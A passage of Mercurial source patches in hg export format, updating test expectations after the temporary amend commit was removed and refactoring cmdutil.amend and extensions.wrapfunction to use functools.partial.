   |    date:        Thu Jan 01 00:00:00 1970 +0000
@@ -2319,14 +2319,14 @@
      summary:     0
   
   $ hg log -f -G b
-  @  changeset:   3:9bc8ce7f9356
+  @  changeset:   2:9bc8ce7f9356
   |  parent:      0:f7b1eb17ad24
   ~  user:        test
      date:        Thu Jan 01 00:00:00 1970 +0000
      summary:     1
   
   $ hg log -G b
-  @  changeset:   3:9bc8ce7f9356
+  @  changeset:   2:9bc8ce7f9356
   |  parent:      0:f7b1eb17ad24
   ~  user:        test
      date:        Thu Jan 01 00:00:00 1970 +0000
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -45,24 +45,19 @@
   $ HGUSER=test2 hg commit --amend -m "A2" --config devel.default-date="987654321 0"
 
   $ hg log --hidden -G
-  @  changeset:   4:d004c8f274b9
+  @  changeset:   3:d004c8f274b9
   |  tag:         tip
   |  parent:      0:ea207398892e
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
   |  summary:     A2
   |
-  | x  changeset:   3:a468dc9b3633
+  | x  changeset:   2:a468dc9b3633
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
   |    summary:     A1
   |
-  | x  changeset:   2:f137d23bb3e1
-  | |  user:        test
-  | |  date:        Thu Jan 01 00:00:00 1970 +0000
-  | |  summary:     temporary amend commit for 471f378eab4c
-  | |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
@@ -86,8 +81,8 @@
   |    json: ["471f378eab4c5e25f6c77f785b27c936efb22874"]
   |    map: 1:471f378eab4c5e25f6c77f785b27c936efb22874
   | @  471f378eab4c
-  |/     Successors: 4:d004c8f274b9
-  |      multi-line: 4:d004c8f274b9
+  |/     Successors: 3:d004c8f274b9
+  |      multi-line: 3:d004c8f274b9
   |      json: [["d004c8f274b9ec480a47a93c10dac5eee63adb78"]]
   o  ea207398892e
   
@@ -95,21 +90,21 @@
   o  d004c8f274b9
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 4:d004c8f274b9 by test1, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
+  |/     Obsfate: rewritten as 3:d004c8f274b9 by test1, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
   o  ea207398892e
   
   $ hg fatelog
   o  d004c8f274b9
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 4:d004c8f274b9 by test1, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
+  |/     Obsfate: rewritten as 3:d004c8f274b9 by test1, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
   o  ea207398892e
   
   $ hg fatelog -v
   o  d004c8f274b9
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 4:d004c8f274b9 by test1, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
+  |/     Obsfate: rewritten as 3:d004c8f274b9 by test1, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
   o  ea207398892e
   
   $ hg up 'desc(A1)' --hidden
@@ -118,13 +113,13 @@
 Predecessors template should show current revision as it is the working copy
   $ hg tlog
   o  d004c8f274b9
-  |    Predecessors: 3:a468dc9b3633
-  |    semi-colon: 3:a468dc9b3633
+  |    Predecessors: 2:a468dc9b3633
+  |    semi-colon: 2:a468dc9b3633
   |    json: ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]
-  |    map: 3:a468dc9b36338b14fdb7825f55ce3df4e71517ad
+  |    map: 2:a468dc9b36338b14fdb7825f55ce3df4e71517ad
   | @  a468dc9b3633
-  |/     Successors: 4:d004c8f274b9
-  |      multi-line: 4:d004c8f274b9
+  |/     Successors: 3:d004c8f274b9
+  |      multi-line: 3:d004c8f274b9
   |      json: [["d004c8f274b9ec480a47a93c10dac5eee63adb78"]]
   o  ea207398892e
   
@@ -132,30 +127,28 @@
   o  d004c8f274b9
   |
   | @  a468dc9b3633
-  |/     Obsfate: rewritten as 4:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
+  |/     Obsfate: rewritten as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
   o  ea207398892e
   
 Predecessors template should show all the predecessors as we force their display
 with --hidden
   $ hg tlog --hidden
   o  d004c8f274b9
-  |    Predecessors: 3:a468dc9b3633
-  |    semi-colon: 3:a468dc9b3633
+  |    Predecessors: 2:a468dc9b3633
+  |    semi-colon: 2:a468dc9b3633
   |    json: ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]
-  |    map: 3:a468dc9b36338b14fdb7825f55ce3df4e71517ad
+  |    map: 2:a468dc9b36338b14fdb7825f55ce3df4e71517ad
   | @  a468dc9b3633
   |/     Predecessors: 1:471f378eab4c
   |      semi-colon: 1:471f378eab4c
   |      json: ["471f378eab4c5e25f6c77f785b27c936efb22874"]
   |      map: 1:471f378eab4c5e25f6c77f785b27c936efb22874
-  |      Successors: 4:d004c8f274b9
-  |      multi-line: 4:d004c8f274b9
+  |      Successors: 3:d004c8f274b9
+  |      multi-line: 3:d004c8f274b9
   |      json: [["d004c8f274b9ec480a47a93c10dac5eee63adb78"]]
-  | x  f137d23bb3e1
-  | |
   | x  471f378eab4c
-  |/     Successors: 3:a468dc9b3633
-  |      multi-line: 3:a468dc9b3633
+  |/     Successors: 2:a468dc9b3633
+  |      multi-line: 2:a468dc9b3633
   |      json: [["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]]
   o  ea207398892e
   
@@ -163,11 +156,9 @@
   o  d004c8f274b9
   |
   | @  a468dc9b3633
-  |/     Obsfate: rewritten as 4:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
-  | x  f137d23bb3e1
-  | |    Obsfate: pruned by test1 (at 2009-02-13 23:31 +0000);
+  |/     Obsfate: rewritten as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 3:a468dc9b3633 by test1 (at 2009-02-13 23:31 +0000);
+  |/     Obsfate: rewritten as 2:a468dc9b3633 by test1 (at 2009-02-13 23:31 +0000);
   o  ea207398892e
   
 
@@ -182,23 +173,21 @@
   
   $ hg tlog --hidden
   @  d004c8f274b9
-  |    Predecessors: 3:a468dc9b3633
-  |    semi-colon: 3:a468dc9b3633
+  |    Predecessors: 2:a468dc9b3633
+  |    semi-colon: 2:a468dc9b3633
   |    json: ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]
-  |    map: 3:a468dc9b36338b14fdb7825f55ce3df4e71517ad
+  |    map: 2:a468dc9b36338b14fdb7825f55ce3df4e71517ad
   | x  a468dc9b3633
   |/     Predecessors: 1:471f378eab4c
   |      semi-colon: 1:471f378eab4c
   |      json: ["471f378eab4c5e25f6c77f785b27c936efb22874"]
   |      map: 1:471f378eab4c5e25f6c77f785b27c936efb22874
-  |      Successors: 4:d004c8f274b9
-  |      multi-line: 4:d004c8f274b9
+  |      Successors: 3:d004c8f274b9
+  |      multi-line: 3:d004c8f274b9
   |      json: [["d004c8f274b9ec480a47a93c10dac5eee63adb78"]]
-  | x  f137d23bb3e1
-  | |
   | x  471f378eab4c
-  |/     Successors: 3:a468dc9b3633
-  |      multi-line: 3:a468dc9b3633
+  |/     Successors: 2:a468dc9b3633
+  |      multi-line: 2:a468dc9b3633
   |      json: [["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]]
   o  ea207398892e
   
@@ -212,11 +201,9 @@
   @  d004c8f274b9
   |
   | x  a468dc9b3633
-  |/     Obsfate: rewritten as 4:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
-  | x  f137d23bb3e1
-  | |    Obsfate: pruned by test1 (at 2009-02-13 23:31 +0000);
+  |/     Obsfate: rewritten as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 3:a468dc9b3633 by test1 (at 2009-02-13 23:31 +0000);
+  |/     Obsfate: rewritten as 2:a468dc9b3633 by test1 (at 2009-02-13 23:31 +0000);
   o  ea207398892e
   
   $ hg fatelogjson --hidden
@@ -224,8 +211,6 @@
   |
   | x  a468dc9b3633
   |/     Obsfate: [{"markers": [["a468dc9b36338b14fdb7825f55ce3df4e71517ad", ["d004c8f274b9ec480a47a93c10dac5eee63adb78"], 0, [["user", "test2"]], [987654321.0, 0], null]], "successors": ["d004c8f274b9ec480a47a93c10dac5eee63adb78"]}]
-  | x  f137d23bb3e1
-  | |    Obsfate: [{"markers": [["f137d23bb3e11dc1daeb6264fac9cb2433782e15", [], 0, [["user", "test1"]], [1234567890.0, 0], ["471f378eab4c5e25f6c77f785b27c936efb22874"]]], "successors": []}]
   | x  471f378eab4c
   |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"], 0, [["user", "test1"]], [1234567890.0, 0], null]], "successors": ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]}]
   o  ea207398892e
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -1029,18 +1029,18 @@
   o  0:d20a80d4def3 (draft) [ ] base
   
   $ hg log -G -R ../repo-issue3805
-  @  3:323a9c3ddd91 (draft) [tip ] A
+  @  2:323a9c3ddd91 (draft) [tip ] A
   |
   o  0:d20a80d4def3 (draft) [ ] base
   
   $ hg incoming
   comparing with $TESTTMP/tmpe/repo-issue3805 (glob)
   searching for changes
-  3:323a9c3ddd91 (draft) [tip ] A
+  2:323a9c3ddd91 (draft) [tip ] A
   $ hg incoming --bundle ../issue3805.hg
   comparing with $TESTTMP/tmpe/repo-issue3805 (glob)
   searching for changes
-  3:323a9c3ddd91 (draft) [tip ] A
+  2:323a9c3ddd91 (draft) [tip ] A
   $ hg outgoing
   comparing with $TESTTMP/tmpe/repo-issue3805 (glob)
   searching for changes
@@ -1078,7 +1078,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
-  2 new obsolescence markers
+  1 new obsolescence markers
   $ hg out ../repo-issue3814
   comparing with ../repo-issue3814
   searching for changes
@@ -1089,7 +1089,7 @@
 
   $ hg tag -l visible -r 1 --hidden
   $ hg log -G
-  @  3:323a9c3ddd91 (draft) [tip ] A
+  @  2:323a9c3ddd91 (draft) [tip ] A
   |
   | x  1:29f0c6921ddd (draft *obsolete*) [visible ] A
   |/
@@ -1099,8 +1099,8 @@
 
   $ hg tag -l -r tip tiptag
   $ hg tags
-  tiptag                             3:323a9c3ddd91
-  tip                                3:323a9c3ddd91
+  tiptag                             2:323a9c3ddd91
+  tip                                2:323a9c3ddd91
   visible                            1:29f0c6921ddd
   $ hg --config extensions.strip= strip -r tip --no-backup
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
@@ -1142,10 +1142,8 @@
   $ echo "B+" >> foo
   $ hg ci --amend -m "B+"
   $ hg log -G --hidden
-  @  3:b7d587542d40 (draft) [tip ] B+
+  @  2:b7d587542d40 (draft) [tip ] B+
   |
-  | x  2:eb95e9297e18 (draft *obsolete*) [ ] temporary amend commit for 44526ebb0f98
-  | |
   | x  1:44526ebb0f98 (draft *obsolete*) [ ] B
   |/
   o  0:4b34ecfb0d56 (draft) [ ] A
@@ -1157,9 +1155,9 @@
   1:44526ebb0f98 (draft) [ ] B
   2:c186d7714947 (draft) [tip ] C
   $ hg log -G -R ../bundleoverlay.hg
-  o  4:c186d7714947 (draft) [tip ] C
+  o  3:c186d7714947 (draft) [tip ] C
   |
-  | @  3:b7d587542d40 (draft) [ ] B+
+  | @  2:b7d587542d40 (draft) [ ] B+
   |/
   o  0:4b34ecfb0d56 (draft) [ ] A
   
@@ -1234,7 +1232,7 @@
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ echo aa > a
   $ hg amendtransient
-  [1, 3]
+  [1, 2]
 
 Test cache consistency for the visible filter
 1) We want to make sure that the cached filtered revs are invalidated when
@@ -1275,7 +1273,7 @@
   $ hg commit --amend -m "message"
   $ hg book bookb -r 13bedc178fce --hidden
   $ hg log -r 13bedc178fce
-  5:13bedc178fce (draft *obsolete*) [ bookb] add b
+  4:13bedc178fce (draft *obsolete*) [ bookb] add b
   $ hg book -d bookb
   $ hg log -r 13bedc178fce
   abort: hidden revision '13bedc178fce'!
@@ -1306,17 +1304,15 @@
   $ echo bar > f2
   $ hg commit --amend --config experimetnal.stabilization=createmarkers
   $ hg log -G
-  @  4:b0551702f918 (draft) [tip ] 2
+  @  3:b0551702f918 (draft) [tip ] 2
   |
   o  1:e016b03fd86f (draft) [ ] 1
   |
   o  0:a78f55e5508c (draft) [ ] 0
   
   $ hg log -G --hidden
-  @  4:b0551702f918 (draft) [tip ] 2
+  @  3:b0551702f918 (draft) [tip ] 2
   |
-  | x  3:f27abbcc1f77 (draft *obsolete*) [ ] temporary amend commit for e008cf283490
-  | |
   | x  2:e008cf283490 (draft *obsolete*) [ ] 2
   |/
   o  1:e016b03fd86f (draft) [ ] 1
@@ -1325,10 +1321,9 @@
   
 
   $ hg strip --hidden -r 2 --config extensions.strip= --config devel.strip-obsmarkers=no
-  saved backup bundle to $TESTTMP/tmpe/issue4845/.hg/strip-backup/e008cf283490-39c978dc-backup.hg (glob)
+  saved backup bundle to $TESTTMP/tmpe/issue4845/.hg/strip-backup/e008cf283490-ede36964-backup.hg (glob)
   $ hg debugobsolete
   e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (*) {'user': 'test'} (glob)
-  f27abbcc1f77fb409cf9160482fe619541e2d605 0 {e008cf2834908e5d6b0f792a9d4b0e2272260fb8} (*) {'user': 'test'} (glob)
   $ hg log -G
   @  2:b0551702f918 (draft) [tip ] 2
   |
@@ -1345,22 +1340,17 @@
   
   $ hg debugbundle .hg/strip-backup/e008cf283490-*-backup.hg
   Stream params: {Compression: BZ}
-  changegroup -- {nbchanges: 2, version: 02}
+  changegroup -- {nbchanges: 1, version: 02}
       e008cf2834908e5d6b0f792a9d4b0e2272260fb8
-      f27abbcc1f77fb409cf9160482fe619541e2d605
-  obsmarkers -- {}
-      version: 1 (70 bytes)
-      f27abbcc1f77fb409cf9160482fe619541e2d605 0 {e008cf2834908e5d6b0f792a9d4b0e2272260fb8} (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
   phase-heads -- {}
-      f27abbcc1f77fb409cf9160482fe619541e2d605 draft
+      e008cf2834908e5d6b0f792a9d4b0e2272260fb8 draft
 
   $ hg pull .hg/strip-backup/e008cf283490-*-backup.hg
-  pulling from .hg/strip-backup/e008cf283490-39c978dc-backup.hg
+  pulling from .hg/strip-backup/e008cf283490-ede36964-backup.hg
   searching for changes
   no changes found
   $ hg debugobsolete
   e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (*) {'user': 'test'} (glob)
-  f27abbcc1f77fb409cf9160482fe619541e2d605 0 {e008cf2834908e5d6b0f792a9d4b0e2272260fb8} (*) {'user': 'test'} (glob)
   $ hg log -G
   @  2:b0551702f918 (draft) [tip ] 2
   |
@@ -1394,9 +1384,8 @@
       e016b03fd86fcccc54817d120b90b751aaf367d6
       b0551702f918510f01ae838ab03a463054c67b46
   obsmarkers -- {}
-      version: 1 (139 bytes)
+      version: 1 (70 bytes)
       e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-      f27abbcc1f77fb409cf9160482fe619541e2d605 0 {e008cf2834908e5d6b0f792a9d4b0e2272260fb8} (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
   phase-heads -- {}
       b0551702f918510f01ae838ab03a463054c67b46 draft
 
@@ -1405,11 +1394,10 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
-  2 new obsolescence markers
+  1 new obsolescence markers
   (run 'hg update' to get a working copy)
   $ hg debugobsolete | sort
   e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (*) {'user': 'test'} (glob)
-  f27abbcc1f77fb409cf9160482fe619541e2d605 0 {e008cf2834908e5d6b0f792a9d4b0e2272260fb8} (*) {'user': 'test'} (glob)
   $ hg log -G
   o  2:b0551702f918 (draft) [tip ] 2
   |
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -626,11 +626,11 @@
   $ hg add M
   $ hg commit --amend -m "M"
   $ hg log -G
-  @  20:bfaedf8eb73b M
+  @  18:bfaedf8eb73b M
   |
-  | o  18:97219452e4bd L
+  | o  17:97219452e4bd L
   | |
-  | x  17:fc37a630c901 K
+  | x  16:fc37a630c901 K
   |/
   | o  15:5ae8a643467b J
   | |
@@ -660,8 +660,8 @@
   |/
   o  0:cd010b8cd998 A
   
-  $ hg rebase -s 14 -d 18 --config experimental.rebaseskipobsolete=True
-  note: not rebasing 14:9ad579b4a5de "I", already in destination as 17:fc37a630c901 "K"
+  $ hg rebase -s 14 -d 17 --config experimental.rebaseskipobsolete=True
+  note: not rebasing 14:9ad579b4a5de "I", already in destination as 16:fc37a630c901 "K"
   rebasing 15:5ae8a643467b "J"
 
   $ cd ..
@@ -797,9 +797,9 @@
   $ hg add foo
   $ hg commit -m "bar foo"
   $ hg log -G
-  @  15:73568ab6879d bar foo
+  @  14:73568ab6879d bar foo
   |
-  | o  14:77d874d096a2 10'
+  | o  13:77d874d096a2 10'
   | |
   | | o  12:3eb461388009 john doe
   | |/
@@ -814,7 +814,7 @@
   o  0:4a2df7238c3b A
   
   $ hg summary
-  parent: 15:73568ab6879d tip (orphan)
+  parent: 14:73568ab6879d tip (orphan)
    bar foo
   branch: default
   commit: (clean)
@@ -826,9 +826,9 @@
   (to force the rebase please set experimental.allowdivergence=True)
   [255]
   $ hg log -G
-  @  15:73568ab6879d bar foo
+  @  14:73568ab6879d bar foo
   |
-  | o  14:77d874d096a2 10'
+  | o  13:77d874d096a2 10'
   | |
   | | o  12:3eb461388009 john doe
   | |/
@@ -846,9 +846,9 @@
 
   $ hg rebase -s 10 -d 12 --config experimental.allowdivergence=True
   rebasing 10:121d9e3bc4c6 "P"
-  rebasing 15:73568ab6879d "bar foo" (tip)
+  rebasing 14:73568ab6879d "bar foo" (tip)
   $ hg summary
-  parent: 17:61bd55f69bc4 tip
+  parent: 16:61bd55f69bc4 tip
    bar foo
   branch: default
   commit: (clean)
@@ -859,8 +859,8 @@
 rebase --continue + skipped rev because their successors are in destination
 we make a change in trunk and work on conflicting changes to make rebase abort.
 
-  $ hg log -G -r 17::
-  @  17:61bd55f69bc4 bar foo
+  $ hg log -G -r 16::
+  @  16:61bd55f69bc4 bar foo
   |
   ~
 
@@ -873,7 +873,7 @@
   $ hg commit -m "dummy change successor"
 
 Create the changes that we will rebase
-  $ hg update -C 17 -q
+  $ hg update -C 16 -q
   $ printf "b" > willconflict
   $ hg add willconflict
   $ hg commit -m "willconflict second version"
@@ -884,25 +884,25 @@
   $ printf "dummy" > L
   $ hg add L
   $ hg commit -m "dummy change"
-  $ hg debugobsolete `hg log -r ".^" -T '{node}'` `hg log -r 19 -T '{node}'` --config experimental.stabilization=all
+  $ hg debugobsolete `hg log -r ".^" -T '{node}'` `hg log -r 18 -T '{node}'` --config experimental.stabilization=all
   obsoleted 1 changesets
 
-  $ hg log -G -r 17::
-  @  22:7bdc8a87673d dummy change
+  $ hg log -G -r 16::
+  @  21:7bdc8a87673d dummy change
   |
-  x  21:8b31da3c4919 dummy change
+  x  20:8b31da3c4919 dummy change
   |
-  o  20:b82fb57ea638 willconflict second version
+  o  19:b82fb57ea638 willconflict second version
   |
-  | o  19:601db7a18f51 dummy change successor
+  | o  18:601db7a18f51 dummy change successor
   | |
-  | o  18:357ddf1602d5 willconflict first version
+  | o  17:357ddf1602d5 willconflict first version
   |/
-  o  17:61bd55f69bc4 bar foo
+  o  16:61bd55f69bc4 bar foo
   |
   ~
-  $ hg rebase -r ".^^ + .^ + ." -d 19
-  rebasing 20:b82fb57ea638 "willconflict second version"
+  $ hg rebase -r ".^^ + .^ + ." -d 18
+  rebasing 19:b82fb57ea638 "willconflict second version"
   merging willconflict
   warning: conflicts while merging willconflict! (edit, then use 'hg resolve --mark')
   unresolved conflicts (see hg resolve, then hg rebase --continue)
@@ -912,9 +912,9 @@
   (no more unresolved files)
   continue: hg rebase --continue
   $ hg rebase --continue
-  rebasing 20:b82fb57ea638 "willconflict second version"
-  note: not rebasing 21:8b31da3c4919 "dummy change", already in destination as 19:601db7a18f51 "dummy change successor"
-  rebasing 22:7bdc8a87673d "dummy change" (tip)
+  rebasing 19:b82fb57ea638 "willconflict second version"
+  note: not rebasing 20:8b31da3c4919 "dummy change", already in destination as 18:601db7a18f51 "dummy change successor"
+  rebasing 21:7bdc8a87673d "dummy change" (tip)
   $ cd ..
 
 Rebase merge where successor of one parent is equal to destination (issue5198)
diff --git a/tests/test-treemanifest.t b/tests/test-treemanifest.t
--- a/tests/test-treemanifest.t
+++ b/tests/test-treemanifest.t
@@ -862,7 +862,7 @@
   $ hg commit -Aqm 'pre-empty commit'
   $ hg rm z
   $ hg commit --amend -m 'empty commit'
-  saved backup bundle to $TESTTMP/grafted-dir-repo-clone/.hg/strip-backup/cb99d5717cea-de37743b-amend.hg (glob)
+  saved backup bundle to $TESTTMP/grafted-dir-repo-clone/.hg/strip-backup/cb99d5717cea-9e3b6b02-amend.hg (glob)
   $ hg log -r 'tip + tip^' -T '{manifest}\n'
   1:678d3574b88c
   1:678d3574b88c
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1504294476 25200
#      Fri Sep 01 12:34:36 2017 -0700
# Node ID a39dce4a76b87b4621eeca11265e5c9b445a8405
# Parent  e8a7c1a0565ab583f93caaf263999760c078281a
cmdutil: remove redundant commitfunc parameter in amend (API)

Since the redundant commit during the amend has been been removed, there is no
need for commit callback function in amend now. Therefore, this commit removes
the unused parameter "commmitfunc" which was being used for this purpose.

Test Plan:
Ensured that all the tests pass

Differential Revision: https://phab.mercurial-scm.org/D635

diff --git a/hgext/keyword.py b/hgext/keyword.py
--- a/hgext/keyword.py
+++ b/hgext/keyword.py
@@ -614,14 +614,14 @@
         if kwt:
             kwt.match = origmatch
 
-def kw_amend(orig, ui, repo, commitfunc, old, extra, pats, opts):
+def kw_amend(orig, ui, repo, old, extra, pats, opts):
     '''Wraps cmdutil.amend expanding keywords after amend.'''
     kwt = getattr(repo, '_keywordkwt', None)
     if kwt is None:
-        return orig(ui, repo, commitfunc, old, extra, pats, opts)
+        return orig(ui, repo, old, extra, pats, opts)
     with repo.wlock():
         kwt.postcommit = True
-        newid = orig(ui, repo, commitfunc, old, extra, pats, opts)
+        newid = orig(ui, repo, old, extra, pats, opts)
         if newid != old.node():
             ctx = repo[newid]
             kwt.restrict = True
diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -3026,8 +3026,7 @@
     else:
         return f not in ctx2.manifest()
 
-# TODO: remove the commitfunc parameter because it is no longer used
-def amend(ui, repo, commitfunc, old, extra, pats, opts):
+def amend(ui, repo, old, extra, pats, opts):
     # avoid cycle context -> subrepo -> cmdutil
     from . import context
 
diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -1550,15 +1550,7 @@
         if not obsolete.isenabled(repo, obsolete.createmarkersopt):
             cmdutil.checkunfinished(repo)
 
-        # commitfunc is used only for temporary amend commit by cmdutil.amend
-        def commitfunc(ui, repo, message, match, opts):
-            return repo.commit(message,
-                               opts.get('user') or old.user(),
-                               opts.get('date') or old.date(),
-                               match,
-                               extra=extra)
-
-        node = cmdutil.amend(ui, repo, commitfunc, old, extra, pats, opts)
+        node = cmdutil.amend(ui, repo, old, extra, pats, opts)
         if node == old.node():
             ui.status(_("nothing changed\n"))
             return 1
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -1213,11 +1213,9 @@
   > command = registrar.command(cmdtable)
   > @command(b"amendtransient",[], _('hg amendtransient [rev]'))
   > def amend(ui, repo, *pats, **opts):
-  >   def commitfunc(ui, repo, message, match, opts):
-  >     return repo.commit(message, repo['.'].user(), repo['.'].date(), match)
   >   opts['message'] = 'Test'
   >   opts['logfile'] = None
-  >   cmdutil.amend(ui, repo, commitfunc, repo['.'], {}, pats, opts)
+  >   cmdutil.amend(ui, repo, repo['.'], {}, pats, opts)
   >   ui.write('%s\n' % repo.changelog.headrevs())
   > EOF
   $ cat >> $HGRCPATH << EOF
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504643856 25200
#      Tue Sep 05 13:37:36 2017 -0700
# Node ID 5361771f97140ee44e213112bafd81d84d64001e
# Parent  a39dce4a76b87b4621eeca11265e5c9b445a8405
wrapfunction: use functools.partial if possible

Every `extensions.bind` call inserts a frame in traceback:

   ... in closure
     return func(*(args + a), **kw)

which makes traceback noisy.

The Python stdlib has a `functools.partial` which is backed by C code and
does not pollute traceback. However it does not support instancemethod and
sets `args` attribute which could be problematic for alias handling.

This patch makes `wrapfunction` use `functools.partial` if we are wrapping a
function directly exported by a module (so it's impossible to be a class or
instance method), and special handles `wrapfunction` results so alias
handling code could handle `args` just fine.

As an example, `hg rebase -s . -d . --traceback` got 6 lines removed in my
setup:

   File "hg/mercurial/dispatch.py", line 898, in _dispatch
     cmdpats, cmdoptions)
  -File "hg/mercurial/extensions.py", line 333, in closure
  -  return func(*(args + a), **kw)
   File "hg/hgext/journal.py", line 84, in runcommand
     return orig(lui, repo, cmd, fullargs, *args)
  -File "hg/mercurial/extensions.py", line 333, in closure
  -  return func(*(args + a), **kw)
   File "fb-hgext/hgext3rd/fbamend/hiddenoverride.py", line 119, in runcommand
     result = orig(lui, repo, cmd, fullargs, *args)
   File "hg/mercurial/dispatch.py", line 660, in runcommand
     ret = _runcommand(ui, options, cmd, d)
  -File "hg/mercurial/extensions.py", line 333, in closure
  -  return func(*(args + a), **kw)
   File "hg/hgext/pager.py", line 69, in pagecmd
     return orig(ui, options, cmd, cmdfunc)
   ....

Differential Revision: https://phab.mercurial-scm.org/D632

diff --git a/mercurial/dispatch.py b/mercurial/dispatch.py
--- a/mercurial/dispatch.py
+++ b/mercurial/dispatch.py
@@ -357,7 +357,10 @@
     return -1
 
 def aliasargs(fn, givenargs):
-    args = getattr(fn, 'args', [])
+    args = []
+    # only care about alias 'args', ignore 'args' set by extensions.wrapfunction
+    if not util.safehasattr(fn, '_origfunc'):
+        args = getattr(fn, 'args', args)
     if args:
         cmd = ' '.join(map(util.shellquote, args))
 
diff --git a/mercurial/extensions.py b/mercurial/extensions.py
--- a/mercurial/extensions.py
+++ b/mercurial/extensions.py
@@ -7,6 +7,7 @@
 
 from __future__ import absolute_import
 
+import functools
 import imp
 import inspect
 import os
@@ -332,6 +333,7 @@
 
 def _updatewrapper(wrap, origfn, unboundwrapper):
     '''Copy and add some useful attributes to wrapper'''
+    wrap.__name__ = origfn.__name__
     wrap.__module__ = getattr(origfn, '__module__')
     wrap.__doc__ = getattr(origfn, '__doc__')
     wrap.__dict__.update(getattr(origfn, '__dict__', {}))
@@ -459,7 +461,14 @@
 
     origfn = getattr(container, funcname)
     assert callable(origfn)
-    wrap = bind(wrapper, origfn)
+    if inspect.ismodule(container):
+        # origfn is not an instance or class method. "partial" can be used.
+        # "partial" won't insert a frame in traceback.
+        wrap = functools.partial(wrapper, origfn)
+    else:
+        # "partial" cannot be safely used. Emulate its effect by using "bind".
+        # The downside is one more frame in traceback.
+        wrap = bind(wrapper, origfn)
     _updatewrapper(wrap, origfn, wrapper)
     setattr(container, funcname, wrap)
     return origfn
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504649925 25200
#      Tue Sep 05 15:18:45 2017 -0700
# Node ID a763c891f36e55f4869f443c220227d1da747d18
# Parent  5361771f97140ee44e213112bafd81d84d64001e
wrapcommand: use functools.partial

Like the previous patch, this helps remove noises in traceback.

Practically, this removes another 6 lines in `rebase -s . -d .` traceback in
my setup:

   ....
   File "hg/mercurial/util.py", line 1118, in check
     return func(*args, **kwargs)
  -File "hg/mercurial/extensions.py", line 331, in closure
  -  return func(*(args + a), **kw)
   File "hg/mercurial/util.py", line 1118, in check
     return func(*args, **kwargs)
   File "fb-hgext/hgext3rd/fbhistedit.py", line 283, in _rebase
     return orig(ui, repo, **opts)
   File "hg/mercurial/util.py", line 1118, in check
     return func(*args, **kwargs)
  -File "hg/mercurial/extensions.py", line 331, in closure
  -  return func(*(args + a), **kw)
   File "hg/mercurial/util.py", line 1118, in check
     return func(*args, **kwargs)
   File "remotenames.py", line 633, in exrebasecmd
     ret = orig(ui, repo, **opts)
   File "hg/mercurial/util.py", line 1118, in check
     return func(*args, **kwargs)
  -File "hg/mercurial/extensions.py", line 331, in closure
  -  return func(*(args + a), **kw)
   File "hg/mercurial/util.py", line 1118, in check
     return func(*args, **kwargs)
   File "fb-hgext/hgext3rd/fbamend/__init__.py", line 453, in wraprebase
     return orig(ui, repo, **opts)
   File "hg/mercurial/util.py", line 1118, in check
     return func(*args, **kwargs)
   ....

Differential Revision: https://phab.mercurial-scm.org/D633

diff --git a/mercurial/extensions.py b/mercurial/extensions.py
--- a/mercurial/extensions.py
